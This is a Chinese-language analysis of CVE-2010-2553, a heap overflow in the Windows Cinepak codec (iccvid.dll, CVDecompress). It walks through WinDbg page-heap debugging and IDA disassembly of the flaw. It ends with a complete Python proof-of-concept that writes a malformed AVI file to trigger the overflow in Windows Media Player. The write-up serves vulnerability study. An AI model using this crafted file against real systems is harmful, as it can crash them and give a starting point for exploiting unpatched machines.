CVE-2010-2553 CVDecompress堆溢出分析
分析环境
Windows XP SP3 x86
Windbg 6.12.2.633
Windows Media Player 9.0.0.4503
Windbg符号表配置
srv*c:\Symbols*http://msdl.microsoft.com/download/symbols
|
微软Win7以后使用在线下载符号表机制,XP没有支持,所以只能从网上下载符号表离线包,但还是有些报错,可以复制报错路径,在c:\Symbols中创建该路径,然后将对应dll(C:\WINDOWS\Symbols\dll中)复制过来,如图
分析过程
运行Media Player,windbg附加wmplayer.exe
定位漏洞位置
windbg下的gflags.exe可以辅助堆调试
调试选项
htc-堆尾检查,在堆块末尾附加额外的标记信息(通常为8字节),用于检查堆块是否发生溢出。 hfc-堆释放检查,在释放堆块时对堆进行各种检查,防止多次释放同一个堆块。 hpc-堆参数检查,对传递给堆管理的参数进行更多的检查。 ust-用户态栈回溯,即将每次调用堆函数的函数调用信息记录到一个数据库中。 htg-堆标志,为堆块增加附加标记,以记录堆块的使用情况或其他信息。 hvc-调用时验证,即每次调用堆函数时都对整个堆进行验证和检查。 hpa-启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。
|
windbg中使用!gflag +hpa启用页堆检测
g继续运行程序,运行poc.avi
触发异常,kb显示调用栈
ub查看反汇编,进入73b721ae产生异常,因此在73b7cbee处下断点
但如果直接下断点到73b7cbee不成功,因为该地址位于iccvid.dll模块中,而iccvid只在解析poc.avi时才会被动态加载,若重新附加进程运行,里面是没有iccvid.dl模块的。
解决方法:在刚刚附加上进程时,通过”sxe ld:iccvid”命令,设置在iccvid.dll模块首次加载时断下
重新加载,使用sxe ld:iccvid加载iccvid.dll模块并断下,g继续运行
播放poc.avi, lmm iccvid查看模块信息
bp下断
bl可看出模块列表
运行即可到达该断点位置
漏洞分析
IDA分析iccvid.dll,并导入pdb,发现该漏洞位于__stdcall CVDecompress(x, x, x, x, x, x, x)函数中
.text:73B721E1 loc_73B721E1: .text:73B721E1 xor eax, eax .text:73B721E3 cmp [ebp+arg_8], 20h .text:73B721E7 jb loc_73B723ED .text:73B721ED mov esi, [ebp+arg_4] .text:73B721F0 mov ah, [esi+1] .text:73B721F3 movzx ecx, byte ptr [esi+3] .text:73B721F7 mov al, [esi+2] .text:73B721FA shl eax, 8 .text:73B721FD or eax, ecx .text:73B721FF cmp [ebp+arg_8], eax .text:73B72202 jl loc_73B723F4 .text:73B72208 mov cl, [esi] .text:73B7220A mov byte ptr [ebp+arg_8+3], cl .text:73B7220D lea ecx, [ebp+var_10] .text:73B72210 push ecx .text:73B72211 push 0Ah .text:73B72213 push eax .text:73B72214 call _ULongSub@12 .text:73B72219 test eax, eax .text:73B7221B jl loc_73B723F4 .text:73B72221 xor eax, eax .text:73B72223 mov ah, [esi+8] .text:73B72226 add esi, 0Ah .text:73B72229 mov [ebp+var_14], edi .text:73B7222C mov [ebp+var_18], esi .text:73B7222F mov [ebp+var_C], esi .text:73B72232 mov al, [esi-1] .text:73B72235 cmp eax, edi .text:73B72237 mov [ebp+var_1C], eax .text:73B7223A jle loc_73B723EA .text:73B72240 mov [ebp+var_4], edi
|
cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
|
.text:73B72226 add esi, 0Ah
cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
|
.text:73B72246 cmp eax, 16h
.text:73B722A9 mov eax, [ebp+var_4]
|
.text:73B723B9 loc_73B723B9: .text:73B723B9 movsx eax, word ptr [ebp+arg_4] .text:73B723BD imul eax, [ebp+arg_18] .text:73B723C1 add [ebp+arg_14], eax .text:73B723C4 inc [ebp+var_14] .text:73B723C7 add [ebp+var_4], 2000h .text:73B723CE xor edi, edi
|
每次循环复制0x800字节数据,目标地址递增0x2000,堆块大小为0x6000,令0x1100的数据块超过三个就能造成堆溢出。
poc
import sys
def main():
aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00' movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00' cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20' number_of_coded_strips = '\x00\x10' cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00' idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00' avifile = open('poc.avi', 'wb+') avifile.write(aviHeaders) avifile.write(padding) avifile.write(movi_tag) avifile.write(cinepak_codec_data1) avifile.write(number_of_coded_strips) avifile.write(cinepak_codec_data2) avifile.write(idx_tag) avifile.close() print '[-] AVI file generated' if __name__ == '__main__': main()
|